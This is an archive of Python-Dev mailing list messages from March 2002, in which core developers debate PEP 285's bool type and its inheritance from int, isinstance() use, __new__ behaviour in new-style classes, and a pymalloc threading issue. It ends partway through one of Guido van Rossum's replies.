Date: Sat, 30 Mar 2002 09:45:19 -0500
Subject: [Python-Dev] Evil isinstance()
In-Reply-To: <200203301423.g2UENn701717@pcp742651pcs.reston01.va.comcast.net>
References: <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net> <008f01c1d7da$5c32f3d0$0202a8c0@boostconsulting.com> <200203301347.g2UDlYZ01650@pcp742651pcs.reston01.va.comcast.net> <014f01c1d7f3$fe9aff00$0202a8c0@boostconsulting.com> <200203301423.g2UENn701717@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020330144518.GA17477@panix.com>

[We had a discussion about this a couple of months ago on c.l.py, which
Guido probably didn't see, so I wanted to briefly raise this issue here.]

On Sat, Mar 30, 2002, Guido van Rossum wrote:
> David Abrahams:
>> 
>> Given that Bool is immutable, I have no cases other than examples of
>> type introspection which can be written to account for the fact that
>> Bool is-a Int. However, it does make certain things trickier to get
>> right:
>> 
>> numeric_types = [ Int, Long, Bool, Float, Complex ]
>> for t in numeric_types:
>>     if isinstance(x, t):
>>         # Do something...
>> 
>> This sort of thing could depend on getting the order of the list right
>> (I didn't).
> 
> Using isinstance() this way is usually bad.  And who knows that long
> doesn't inherit from int?  (At some point in the future it may, or
> they may become the same thing -- see PEP 237.

The problem is that in some cases the __init__ for a class needs to
dispatch based on the type of the operand.  For example, int() takes
both numbers and strings.  What should we recommend as "standard
practice" for this issue if isinstance() is disrecommended?
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Why is this newsgroup different from all other newsgroups?


From jepler@unpythonic.dhs.org  Sat Mar 30 14:56:19 2002
From: jepler@unpythonic.dhs.org (jepler@unpythonic.dhs.org)
Date: Sat, 30 Mar 2002 08:56:19 -0600
Subject: [Python-Dev] Re: PEP 279
In-Reply-To: <002901c1d7f2$8b04f560$2eb53bd0@othello>
References: <LNBBLJKPBEHFEDALKOLCEEOJOIAA.tim.one@comcast.net> <002901c1d7f2$8b04f560$2eb53bd0@othello>
Message-ID: <20020330085615.A1011@unpythonic.dhs.org>

On Sat, Mar 30, 2002 at 08:55:24AM -0500, Raymond Hettinger wrote:
> Hmm, the client code needs to maintain TWO instance variables, the generator
> object and the instance of Whatever.  It works but doesn't smell right to
> me:
> 
> w = Whatever()
> wg = w.generator()
> wg.next()
> wg.next()
> w.stop(); wg.next()    # trigger clean-up

I think this example can be embellished a bit to avoid this problem.
HaltingIterator subclasses define the .generator() method, but instantiates
it in the __init__ method, calling it at the right time from the .next()
method.  Cleanup is moved into a separate method, called from .stop() with
an optional argument.  Calling stop also makes the next .next() call raise
StopIteration (unless you happen to call .stop() with a false argument, though).

I had a bit of confusion that there's not StopIteration traceback printed,
and neither is "after that".  Apparently an uncaught StopIteration call
just exits silently?  (I'm using 2.3a0 here, in the case that it
matters---cvs from 2-3 weeks ago)

Jeff Epler


from __future__ import generators

class HaltingIterator:
    def __init__(self, *args, **kw):
	self._stop = 0
	self._generator = self.generator(*args, **kw)

    def stop(self, arg=1):
	self._stop = arg
	self.cleanup(arg)

    def next(self):
	if self._stop:
	    raise StopIteration
	return self._generator.next()

    def cleanup(self, arg): pass


class ExampleHaltingIterator(HaltingIterator):
    def generator(self):
	a, b = 1, 1
	while 1:
	    ret = a
	    ret, a, b = a, b, a+b
	    yield ret

    def cleanup(self, arg):
	print "halted with", arg

x = ExampleHaltingIterator()

for i in range(10): print x.next()
x.stop("76 trombones")
print x.next()
print "after that"


From David Abrahams" <david.abrahams@rcn.com  Sat Mar 30 14:51:27 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Sat, 30 Mar 2002 09:51:27 -0500
Subject: [Python-Dev] PEP 285: Adding a bool type
References: <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net> <008f01c1d7da$5c32f3d0$0202a8c0@boostconsulting.com> <200203301347.g2UDlYZ01650@pcp742651pcs.reston01.va.comcast.net>              <014f01c1d7f3$fe9aff00$0202a8c0@boostconsulting.com>  <200203301423.g2UENn701717@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <016d01c1d7fa$c679ee40$0202a8c0@boostconsulting.com>

----- Original Message -----
From: "Guido van Rossum" <guido@python.org>
To: "David Abrahams" <david.abrahams@rcn.com>
Cc: <python-list@python.org>; <python-dev@python.org>
Sent: Saturday, March 30, 2002 9:23 AM
Subject: Re: [Python-Dev] PEP 285: Adding a bool type


> > > [David Abrahams]
> > > >       6) Should we eventually remove the inheritance
relationship
> > > >          between Int and Bool?
> > > >
> > > > I hope so. Bool is-a Int doesn't seem like the right
relationship to
> > > > me, unless perhaps we make Int is-a Long... naah, not even then.
> > >
> > > Hm.  In your favorite language bool is one of the integral types.
> > > Doesn't that imply pretty much the same thing?
> >
> > Well, I try not to play favorites <0.002 wink>, but the implicit
> > conversion rules in C++ are admittedly and unfortunately liberal.
> > However, bool is detectably NOT derived from int in C++:
> >
> >     void f(int const&);
> >     f(false); // error!
> >     assert(boost::is_base_and_derived<int,bool>::value); // fails!
>
> I don't understand this example, but I though int and bool weren't
> considered classes in C++, so I'm not sure this matters.

That's correct, they're not. Still, it matters that when you do type
introspection the system doesn't tell you they're related by
inheritance. I'm sure I've written programs that would break if that
answer suddenly changed. My point is just that "int and bool are
integral types" is a very different thing from "bool is derived from
int" (for another example, derivation implies one-way implicit
conversion from derived->base, whereas the numeric types are all
implicitly inter-convertible).

> I know you
> don't care, but C99 *does* consider bool an integral type.

As does C++, and why wouldn't I care?

> Another argument for deriving bool from int: implementation
> inheritance.  A bool must behave just like an int, and this is most
> easily accomplished this way: the bool type doesn't have
> implementations for most operations: it inherits them from the int
> type, which find a bool acceptable where an int is required.

I recognize that as the /only/ real argument for such derivation. Many
are suspicious of public implementation inheritance these days, tending
to prefer delegation so as not to expose a false is-a relationship,
breaking the LSP. However, I think bool may squeeze by on that count
since as I said it's immutable. Uh, whoops, no: the repr() and str()
functions, for example change the way it works in incompatible ways.

> > > Anyway, do you have a use case where it matters?
> >
> > Given that Bool is immutable, I have no cases other than examples of
> > type introspection which can be written to account for the fact that
> > Bool is-a Int. However, it does make certain things trickier to get
> > right:
> >
> > numeric_types = [ Int, Long, Bool, Float, Complex ]
> > for t in numeric_types:
> >     if isinstance(x, t):
> >         # Do something...
> >
> > This sort of thing could depend on getting the order of the list
right
> > (I didn't).
>
> Using isinstance() this way is usually bad.

Can you say something about this that doesn't invoke a moral judgement?
I don't believe in evil programming practices, just useful/fragile ones.

> And who knows that long
> doesn't inherit from int?

In Python, people make assumptions based on their implementation because
for details like this there is often no other guideline.

> (At some point in the future it may, or
> they may become the same thing -- see PEP 237.

Well, sure, anything could happen. Anyway, I don't have a strong
position about this issue, but it rubs my instincts the wrong way.

happy-as-a-wet-cat-ly y'rs,
dave




From aahz@pythoncraft.com  Sat Mar 30 14:56:56 2002
From: aahz@pythoncraft.com (Aahz)
Date: Sat, 30 Mar 2002 09:56:56 -0500
Subject: [Python-Dev] Re: PEP 279
In-Reply-To: <20020330085615.A1011@unpythonic.dhs.org>
References: <LNBBLJKPBEHFEDALKOLCEEOJOIAA.tim.one@comcast.net> <002901c1d7f2$8b04f560$2eb53bd0@othello> <20020330085615.A1011@unpythonic.dhs.org>
Message-ID: <20020330145656.GA18828@panix.com>

On Sat, Mar 30, 2002, jepler@unpythonic.dhs.org wrote:
>
> I had a bit of confusion that there's not StopIteration traceback printed,
> and neither is "after that".  Apparently an uncaught StopIteration call
> just exits silently?  (I'm using 2.3a0 here, in the case that it
> matters---cvs from 2-3 weeks ago)

Yeah, just like IndexError in a for loop.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Why is this newsgroup different from all other newsgroups?


From jacobs@penguin.theopalgroup.com  Sat Mar 30 15:00:38 2002
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Sat, 30 Mar 2002 10:00:38 -0500 (EST)
Subject: [Python-Dev] Odd new-style class __new__ behavior
Message-ID: <Pine.LNX.4.44.0203300958210.26599-100000@penguin.theopalgroup.com>

Suppose I define:

class Foo(object):
  def __new__(cls):
    return 1

class Bar(object):
  def __new__(cls):
    return [1,2,3]

Python 2.2 returns:
  print Foo()
  > 1
  print Bar()
  > []

I would expect that Bar() should return [1,2,3].  Am I running into some
clever undocumented feature or a bug?  

Thanks,
-Kevin

--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From mwh@python.net  Sat Mar 30 15:08:04 2002
From: mwh@python.net (Michael Hudson)
Date: 30 Mar 2002 15:08:04 +0000
Subject: [Python-Dev] Odd new-style class __new__ behavior
In-Reply-To: Kevin Jacobs's message of "Sat, 30 Mar 2002 10:00:38 -0500 (EST)"
References: <Pine.LNX.4.44.0203300958210.26599-100000@penguin.theopalgroup.com>
Message-ID: <2mlmcam6uj.fsf@starship.python.net>

Kevin Jacobs <jacobs@penguin.theopalgroup.com> writes:

> Suppose I define:
> 
> class Foo(object):
>   def __new__(cls):
>     return 1
> 
> class Bar(object):
>   def __new__(cls):
>     return [1,2,3]
> 
> Python 2.2 returns:
>   print Foo()
>   > 1
>   print Bar()
>   > []
> 
> I would expect that Bar() should return [1,2,3].  Am I running into some
> clever undocumented feature or a bug?  

Is tp_init being called on the returned list?

Cheers,
M.

-- 
  But since I'm not trying to impress  anybody in The Software Big
  Top, I'd rather walk the wire using a big pole, a safety harness,
  a net, and with the wire not more than 3 feet off the ground.
                                   -- Grant Griffin, comp.lang.python


From ark@research.att.com  Sat Mar 30 15:52:47 2002
From: ark@research.att.com (Andrew Koenig)
Date: 30 Mar 2002 10:52:47 -0500
Subject: [Python-Dev] RE: PEP 285: Adding a bool type
In-Reply-To: <200203301342.g2UDgTE01572@pcp742651pcs.reston01.va.comcast.net>
References: <LNBBLJKPBEHFEDALKOLCMEBLOJAA.tim.one@comcast.net>
 <m3ofh6s2ux.fsf@mira.informatik.hu-berlin.de>
 <200203301342.g2UDgTE01572@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <yu99eli2xdbk.fsf@europa.research.att.com>

Guido> You've been staring at standards too much, haven't you?  The
Guido> difference between MUST and SHOULD isn't as clear-cut as most
Guido> standards people use them.

In the ISO standards world, ``must'' doesn't mean what you
probably think it does:

        should:    encouraged, but not required
        shall:     required
        must:      it is impossible for things to be otherwise

So, for example, one can imagine describing a function with a
Boolean parameter named x by saying something like:

        If x is true, the result shall be foo.
        Otherwise, x must be false, and the result shall be bar.

-- 
Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark


From ark@research.att.com  Sat Mar 30 15:56:15 2002
From: ark@research.att.com (Andrew Koenig)
Date: 30 Mar 2002 10:56:15 -0500
Subject: [Python-Dev] PEP 285: Adding a bool type
In-Reply-To: <200203301347.g2UDlYZ01650@pcp742651pcs.reston01.va.comcast.net>
References: <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net>
 <008f01c1d7da$5c32f3d0$0202a8c0@boostconsulting.com>
 <200203301347.g2UDlYZ01650@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <yu99adsqxd5s.fsf@europa.research.att.com>

>> 6) Should we eventually remove the inheritance relationship
>> between Int and Bool?

>> I hope so. Bool is-a Int doesn't seem like the right relationship to
>> me, unless perhaps we make Int is-a Long... naah, not even then.

Guido> Hm.  In your favorite language bool is one of the integral types.
Guido> Doesn't that imply pretty much the same thing?

What it really implies is that arithmetic operations on bool values
are permitted and promote to int.

-- 
Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark


From ark@research.att.com  Sat Mar 30 15:58:40 2002
From: ark@research.att.com (Andrew Koenig)
Date: 30 Mar 2002 10:58:40 -0500
Subject: [Python-Dev] PEP 285: Adding a bool type
In-Reply-To: <014f01c1d7f3$fe9aff00$0202a8c0@boostconsulting.com>
References: <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net>
 <008f01c1d7da$5c32f3d0$0202a8c0@boostconsulting.com>
 <200203301347.g2UDlYZ01650@pcp742651pcs.reston01.va.comcast.net>
 <014f01c1d7f3$fe9aff00$0202a8c0@boostconsulting.com>
Message-ID: <yu99663exd1r.fsf@europa.research.att.com>

David>     void f(int const&);
David>     f(false); // error!

For the sake of nitpicking correctness, I cannot help but point out
that there is nothing wrong with the call of f(false) above unless you
drop the "const" from f's parameter type.

-- 
Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark


From ark@research.att.com  Sat Mar 30 16:04:13 2002
From: ark@research.att.com (Andrew Koenig)
Date: 30 Mar 2002 11:04:13 -0500
Subject: [Python-Dev] PEP 285: Adding a bool type
In-Reply-To: <200203301423.g2UENn701717@pcp742651pcs.reston01.va.comcast.net>
References: <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net>
 <008f01c1d7da$5c32f3d0$0202a8c0@boostconsulting.com>
 <200203301347.g2UDlYZ01650@pcp742651pcs.reston01.va.comcast.net>
 <014f01c1d7f3$fe9aff00$0202a8c0@boostconsulting.com>
 <200203301423.g2UENn701717@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <yu991ye2xcsi.fsf@europa.research.att.com>

Guido> Another argument for deriving bool from int: implementation
Guido> inheritance.  A bool must behave just like an int, and this is
Guido> most easily accomplished this way: the bool type doesn't have
Guido> implementations for most operations: it inherits them from the
Guido> int type, which find a bool acceptable where an int is
Guido> required.

Liskov substitutibility would seem to suggest deriving int from bool,
not the other way around.  That is: If I have a program that uses bool
values, I can change it so that it uses int values without affecting
the behavior of the program.  The reverse is not true.

I wonder if this is the circle-ellipse problem over again?

-- 
Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark


From fdrake@acm.org  Sat Mar 30 16:07:36 2002
From: fdrake@acm.org (Fred L. Drake, Jr.)
Date: Sat, 30 Mar 2002 11:07:36 -0500
Subject: [Python-Dev] RE: PEP 285: Adding a bool type
In-Reply-To: <200203301342.g2UDgTE01572@pcp742651pcs.reston01.va.comcast.net>
References: <LNBBLJKPBEHFEDALKOLCMEBLOJAA.tim.one@comcast.net>
 <m3ofh6s2ux.fsf@mira.informatik.hu-berlin.de>
 <200203301342.g2UDgTE01572@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15525.58056.566073.884317@grendel.zope.com>

Guido van Rossum writes:
 > You've been staring at standards too much, haven't you?  The
 > difference between MUST and SHOULD isn't as clear-cut as most
 > standards people use them.

Most standards define MUST and SHOULD very specifically, and then use
them according to those definitions.  There's an IETF RFC specifically
for use in writing RFCs, allowing those terms to be defined by
reference.  A number of W3C specs seems to be using this
definition-by-reference as well, with the same RFC providing the
actual definitions.

I think we'd do well to accept a specific definition of these terms
and use them consistently, simply to make our documentation (including
docstrings) easier to understand.


  -Fred

-- 
Fred L. Drake, Jr.  <fdrake at acm.org>
PythonLabs at Zope Corporation


From David Abrahams" <david.abrahams@rcn.com  Sat Mar 30 16:08:48 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Sat, 30 Mar 2002 11:08:48 -0500
Subject: [Python-Dev] PEP 285: Adding a bool type
References: <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net><008f01c1d7da$5c32f3d0$0202a8c0@boostconsulting.com><200203301347.g2UDlYZ01650@pcp742651pcs.reston01.va.comcast.net><014f01c1d7f3$fe9aff00$0202a8c0@boostconsulting.com> <yu99663exd1r.fsf@europa.research.att.com>
Message-ID: <01ae01c1d805$83b4e0f0$0202a8c0@boostconsulting.com>


----- Original Message -----
From: "Andrew Koenig" <ark@research.att.com>

> David>     void f(int const&);
> David>     f(false); // error!
>
> For the sake of nitpicking correctness, I cannot help but point out
> that there is nothing wrong with the call of f(false) above unless you
> drop the "const" from f's parameter type.

Yeah, I realized that after posting it, and hoped nobody would notice.

void f(int const*);
bool x = false;
f(&x); // error!


thanks-for-nothing-ly y'rs,
dave



From David Abrahams" <david.abrahams@rcn.com  Sat Mar 30 16:11:29 2002
From: David Abrahams" <david.abrahams@rcn.com (David Abrahams)
Date: Sat, 30 Mar 2002 11:11:29 -0500
Subject: [Python-Dev] PEP 285: Adding a bool type
References: <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net><008f01c1d7da$5c32f3d0$0202a8c0@boostconsulting.com><200203301347.g2UDlYZ01650@pcp742651pcs.reston01.va.comcast.net><014f01c1d7f3$fe9aff00$0202a8c0@boostconsulting.com><200203301423.g2UENn701717@pcp742651pcs.reston01.va.comcast.net> <yu991ye2xcsi.fsf@europa.research.att.com>
Message-ID: <01b401c1d806$378aa100$0202a8c0@boostconsulting.com>

----- Original Message -----
From: "Andrew Koenig" <ark@research.att.com>
> Liskov substitutibility would seem to suggest deriving int from bool,
> not the other way around.  That is: If I have a program that uses bool
> values, I can change it so that it uses int values without affecting
> the behavior of the program.  The reverse is not true.

Even that won't work, because of the different repr/str behavior... one
reason I don't like the inheritance relationship.

> I wonder if this is the circle-ellipse problem over again?

square-rectangle-ly y'rs,
dave



From ark@research.att.com  Sat Mar 30 16:19:31 2002
From: ark@research.att.com (Andrew Koenig)
Date: Sat, 30 Mar 2002 11:19:31 -0500 (EST)
Subject: [Python-Dev] PEP 285: Adding a bool type
In-Reply-To: <01b401c1d806$378aa100$0202a8c0@boostconsulting.com>
 (david.abrahams@rcn.com)
References: <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net><008f01c1d7da$5c32f3d0$0202a8c0@boostconsulting.com><200203301347.g2UDlYZ01650@pcp742651pcs.reston01.va.comcast.net><014f01c1d7f3$fe9aff00$0202a8c0@boostconsulting.com><200203301423.g2UENn701717@pcp742651pcs.reston01.va.comcast.net> <yu991ye2xcsi.fsf@europa.research.att.com> <01b401c1d806$378aa100$0202a8c0@boostconsulting.com>
Message-ID: <200203301619.g2UGJVR13515@europa.research.att.com>

David> Even that won't work, because of the different repr/str behavior... one
David> reason I don't like the inheritance relationship.

Ah -- hadn't thought of that.





From martin@v.loewis.de  Sat Mar 30 16:50:33 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 30 Mar 2002 17:50:33 +0100
Subject: [Python-Dev] RE: PEP 285: Adding a bool type
In-Reply-To: <200203301342.g2UDgTE01572@pcp742651pcs.reston01.va.comcast.net>
References: <LNBBLJKPBEHFEDALKOLCMEBLOJAA.tim.one@comcast.net>
 <m3ofh6s2ux.fsf@mira.informatik.hu-berlin.de>
 <200203301342.g2UDgTE01572@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m3g02i9ezq.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

> > Interestingly enough, the exception message says "__nonzero__ should
> > return an int" but really means "__nonzero__ must return an int".
> 
> You've been staring at standards too much, haven't you?  The
> difference between MUST and SHOULD isn't as clear-cut as most
> standards people use them.

Given Andrew's remark, it really should be "__nonzero__ shall return
an in int" :-)

Regards,
Martin



From martin@v.loewis.de  Sat Mar 30 16:56:51 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 30 Mar 2002 17:56:51 +0100
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <200203301344.g2UDi5m01607@pcp742651pcs.reston01.va.comcast.net>
References: <LNBBLJKPBEHFEDALKOLCKEBJOJAA.tim.one@comcast.net>
 <200203301344.g2UDi5m01607@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <m3bsd69ep8.fsf@mira.informatik.hu-berlin.de>

Guido van Rossum <guido@python.org> writes:

> How about if the PyMem_Free guy saved the address of the vector before
> using it, and checked that it was still the same afterwards, *and* if
> the PyMem_Malloc guy didn't use realloc to resize the vector but
> copied it to a newly malloc'ed vector, stored the new vector's
> address, and then freed the old vector?

That doesn't really help. The code currently does

	((I) < narenas && (uptr)(P) - arenas[I] < (uptr)ARENA_SIZE)

So if the PyMem_Free thread blocks (yields by OS command) after
fetching arenas, but before fetching arenas[i], then the PyMem_Malloc
thread could still free the memory under it.

Regards,
Martin



From martin@v.loewis.de  Sat Mar 30 16:58:46 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 30 Mar 2002 17:58:46 +0100
Subject: [Python-Dev] pymalloc killer
In-Reply-To: <2mofh6m7re.fsf@starship.python.net>
References: <LNBBLJKPBEHFEDALKOLCKEBJOJAA.tim.one@comcast.net>
 <200203301344.g2UDi5m01607@pcp742651pcs.reston01.va.comcast.net>
 <2mofh6m7re.fsf@starship.python.net>
Message-ID: <m37knu9em1.fsf@mira.informatik.hu-berlin.de>

Michael Hudson <mwh@python.net> writes:

> Does this have any real bearing on 2.2.1?  

No, I don't think so. If anybody enables pymalloc in 2.2, they risk
problems in case of broken extensions, but none of the standard
modules would cause problems.

Regards,
Martin



From jacobs@penguin.theopalgroup.com  Sat Mar 30 17:11:50 2002
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Sat, 30 Mar 2002 12:11:50 -0500 (EST)
Subject: [Python-Dev] Odd new-style class __new__ behavior
In-Reply-To: <2mlmcam6uj.fsf@starship.python.net>
Message-ID: <Pine.LNX.4.44.0203301204240.26918-100000@penguin.theopalgroup.com>

On 30 Mar 2002, Michael Hudson wrote:
> Kevin Jacobs <jacobs@penguin.theopalgroup.com> writes:
> > Suppose I define:
> > 
> > class Foo(object):
> >   def __new__(cls):
> >     return 1
> > 
> > class Bar(object):
> >   def __new__(cls):
> >     return [1,2,3]
> > 
> > Python 2.2 returns:
> >   print Foo()
> >   > 1
> >   print Bar()
> >   > []
> > 
> > I would expect that Bar() should return [1,2,3].  Am I running into some
> > clever undocumented feature or a bug?  
> 
> Is tp_init being called on the returned list?

I suspect that the object construction code would check the result of tp_new
to see if the expected type.  If not, tp_init should not be called on the
instance.  I suspect that this check must already be there, or else none of
these cases would work at all.

Anyhow, I won't know what is really happening for sure until Monday, when I
can run this through gdb.  However, some more data points: returning
dictionaries, tuples, strings, classic object instances, and user-defined
new-style classes all seem to work.  Only lists seem to behave this way.

Guido, can you clarify what the "correct behavior" should be for the above
cases?  Once I know that, I will happily supply a corrective patch if one is
necessary.

Regards,
-Kevin

--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From pedroni@inf.ethz.ch  Sat Mar 30 17:20:37 2002
From: pedroni@inf.ethz.ch (Samuele Pedroni)
Date: Sat, 30 Mar 2002 18:20:37 +0100
Subject: [Python-Dev] Evil isinstance()
References: <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net> <008f01c1d7da$5c32f3d0$0202a8c0@boostconsulting.com> <200203301347.g2UDlYZ01650@pcp742651pcs.reston01.va.comcast.net> <014f01c1d7f3$fe9aff00$0202a8c0@boostconsulting.com> <200203301423.g2UENn701717@pcp742651pcs.reston01.va.comcast.net> <20020330144518.GA17477@panix.com>
Message-ID: <009801c1d80f$35ab1c80$6d94fea9@newmexico>

From: Aahz <aahz@pythoncraft.com>
> 
> The problem is that in some cases the __init__ for a class needs to
> dispatch based on the type of the operand.  For example, int() takes
> both numbers and strings.  What should we recommend as "standard
> practice" for this issue if isinstance() is disrecommended?

PEP 246 (?) <wink>

PS: I had a very heated discussion with Alex Martelli on anygui-devel
whether the PEP is ready for prime time, and whether
wrapping is so generally harmless, but I think
at some point the PEP should nevertheless be seriously discussed.
Likely the Zope3 people have some real data/experience
on adaptation to share.
PPS: it should be noted that the PEP does *not*
require first class interfaces  to be adopted.
Those are an orthogonal issue.




From guido@python.org  Sat Mar 30 18:08:55 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 30 Mar 2002 13:08:55 -0500
Subject: [Python-Dev] Evil isinstance()
In-Reply-To: Your message of "Sat, 30 Mar 2002 09:45:19 EST."
 <20020330144518.GA17477@panix.com>
References: <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net> <008f01c1d7da$5c32f3d0$0202a8c0@boostconsulting.com> <200203301347.g2UDlYZ01650@pcp742651pcs.reston01.va.comcast.net> <014f01c1d7f3$fe9aff00$0202a8c0@boostconsulting.com> <200203301423.g2UENn701717@pcp742651pcs.reston01.va.comcast.net>
 <20020330144518.GA17477@panix.com>
Message-ID: <200203301808.g2UI8t502093@pcp742651pcs.reston01.va.comcast.net>

> On Sat, Mar 30, 2002, Guido van Rossum wrote:
> > David Abrahams:
> >> 
> >> Given that Bool is immutable, I have no cases other than examples of
> >> type introspection which can be written to account for the fact that
> >> Bool is-a Int. However, it does make certain things trickier to get
> >> right:
> >> 
> >> numeric_types = [ Int, Long, Bool, Float, Complex ]
> >> for t in numeric_types:
> >>     if isinstance(x, t):
> >>         # Do something...
> >> 
> >> This sort of thing could depend on getting the order of the list right
> >> (I didn't).
> > 
> > Using isinstance() this way is usually bad.  And who knows that long
> > doesn't inherit from int?  (At some point in the future it may, or
> > they may become the same thing -- see PEP 237.
> 
> The problem is that in some cases the __init__ for a class needs to
> dispatch based on the type of the operand.  For example, int() takes
> both numbers and strings.  What should we recommend as "standard
> practice" for this issue if isinstance() is disrecommended?

Ah, bollocks.  David was just being annoying, and I was being annoying
back.  You can use isinstance() when it makes sense, like your
example.

--Guido van Rossum (home page: http://www.python.org/~guido/)



From neal@metaslash.com  Sat Mar 30 18:14:35 2002
From: neal@metaslash.com (Neal Norwitz)
Date: Sat, 30 Mar 2002 13:14:35 -0500
Subject: R: [Python-Dev] Deprecating string exceptions
References: <200203271657.g2RGvqe09883@mira.informatik.hu-berlin.de> <3CA2034C.BC70441D@prescod.net> <m3d6xpq2az.fsf@mira.informatik.hu-berlin.de> <200203272030.g2RKUCh28836@pcp742651pcs.reston01.va.comcast.net> <m33cylodup.fsf@mira.informatik.hu-berlin.de> <015301c1d5e0$1b3f2c00$f2bb03d5@newmexico> <m3y9gd7g6y.fsf@mira.informatik.hu-berlin.de> <15522.40314.222139.796707@anthem.wooz.org>
 <m3g02l2fx3.fsf@mira.informatik.hu-berlin.de> <200203281259.g2SCxw403603@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <3CA6008B.1C7152D9@metaslash.com>

Guido van Rossum wrote:
> 
> > The question is, whether, given
> >
> > class Base:pass
> > class MyExc(Base, Exception):pass
> >
> > it would be valid to write
> >
> > try:
> >   foo() # raises MyExc
> > except Base:
> >   pass
> 
> The "except Base:" class would of course be illegal because Base
> doesn't derive from Exception.  (Although the error might only be
> detected when MyExc is raised -- but PyChecker could do better.)  But
> the statement "raise MyExc" would be perfectly legal, and could be
> caught either with "except MyExc" or "except Exception".

There are several problems in the std library now:

	bdb.py:9	BdbQuit is a string exception
	macpath.py:173	norm_error is a string exception
	tabnanny.py:48	NannyNag does not derive from Exception
	xdrlib.py:12	ConversionError (Error) does not derive from Exception

Shall I make all of these derive from Exception?  
Is there any potential problems with doing so?

Neal


From guido@python.org  Sat Mar 30 18:27:20 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 30 Mar 2002 13:27:20 -0500
Subject: [Python-Dev] Odd new-style class __new__ behavior
In-Reply-To: Your message of "Sat, 30 Mar 2002 12:11:50 EST."
 <Pine.LNX.4.44.0203301204240.26918-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0203301204240.26918-100000@penguin.theopalgroup.com>
Message-ID: <200203301827.g2UIRKn02129@pcp742651pcs.reston01.va.comcast.net>

> On 30 Mar 2002, Michael Hudson wrote:
> > Kevin Jacobs <jacobs@penguin.theopalgroup.com> writes:
> > > Suppose I define:
> > > 
> > > class Foo(object):
> > >   def __new__(cls):
> > >     return 1
> > > 
> > > class Bar(object):
> > >   def __new__(cls):
> > >     return [1,2,3]
> > > 
> > > Python 2.2 returns:
> > >   print Foo()
> > >   > 1
> > >   print Bar()
> > >   > []
> > > 
> > > I would expect that Bar() should return [1,2,3].  Am I running into some
> > > clever undocumented feature or a bug?  
> > 
> > Is tp_init being called on the returned list?

Correct.

> I suspect that the object construction code would check the result
> of tp_new to see if the expected type.  If not, tp_init should not
> be called on the instance.  I suspect that this check must already
> be there, or else none of these cases would work at all.

It calls the tp_init of the returned type.

> Anyhow, I won't know what is really happening for sure until Monday,
> when I can run this through gdb.  However, some more data points:
> returning dictionaries, tuples, strings, classic object instances,
> and user-defined new-style classes all seem to work.  Only lists
> seem to behave this way.

Because only lists have a tp_init that resets the object.

> Guido, can you clarify what the "correct behavior" should be for the
> above cases?  Once I know that, I will happily supply a corrective
> patch if one is necessary.

Correct behavior is not to return a different type unless you know
what its __init__ does.

We're going to document each type's __new__ and __init__, and you're
welcome to help.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sat Mar 30 18:29:29 2002
From: guido@python.org (Guido van Rossum)
Date: Sat, 30 Mar 2002 13:29:29 -0500
Subject: [Python-Dev] PEP 285: Adding a bool type
In-Reply-To: Your message of "30 Mar 2002 11:04:13 EST."
 <yu991ye2xcsi.fsf@europa.research.att.com>
References: <200203300539.g2U5dAR17743@pcp742651pcs.reston01.va.comcast.net> <008f01c1d7da$5c32f3d0$0202a8c0@boostconsulting.com> <200203301347.g2UDlYZ01650@pcp742651pcs.reston01.va.comcast.net> <014f01c1d7f3$fe9aff00$0202a8c0@boostconsulting.com> <200203301423.g2UENn701717@pcp742651pcs.reston01.va.comcast.net>
 <yu991ye2xcsi.fsf@europa.research.att.com>
Message-ID: <200203301829.g2UITUw02158@pcp742651pcs.reston01.va.comcast.net>

> Guido> Another argument for deriving bool from int: implementation
> Guido> inheritance.  A bool must behave just like an int, and this is
> Guido> most easily accomplished this way: the bool type doesn't have
> Guido> implementations for most operations: it inherits them from the
> Guido> int type, which find a bool acceptable where an int is
> Guido> required.

[ARK]
> Liskov substitutibility would seem to suggest deriving int from bool,
> not the other way around.  That is: If I have a program that uses bool
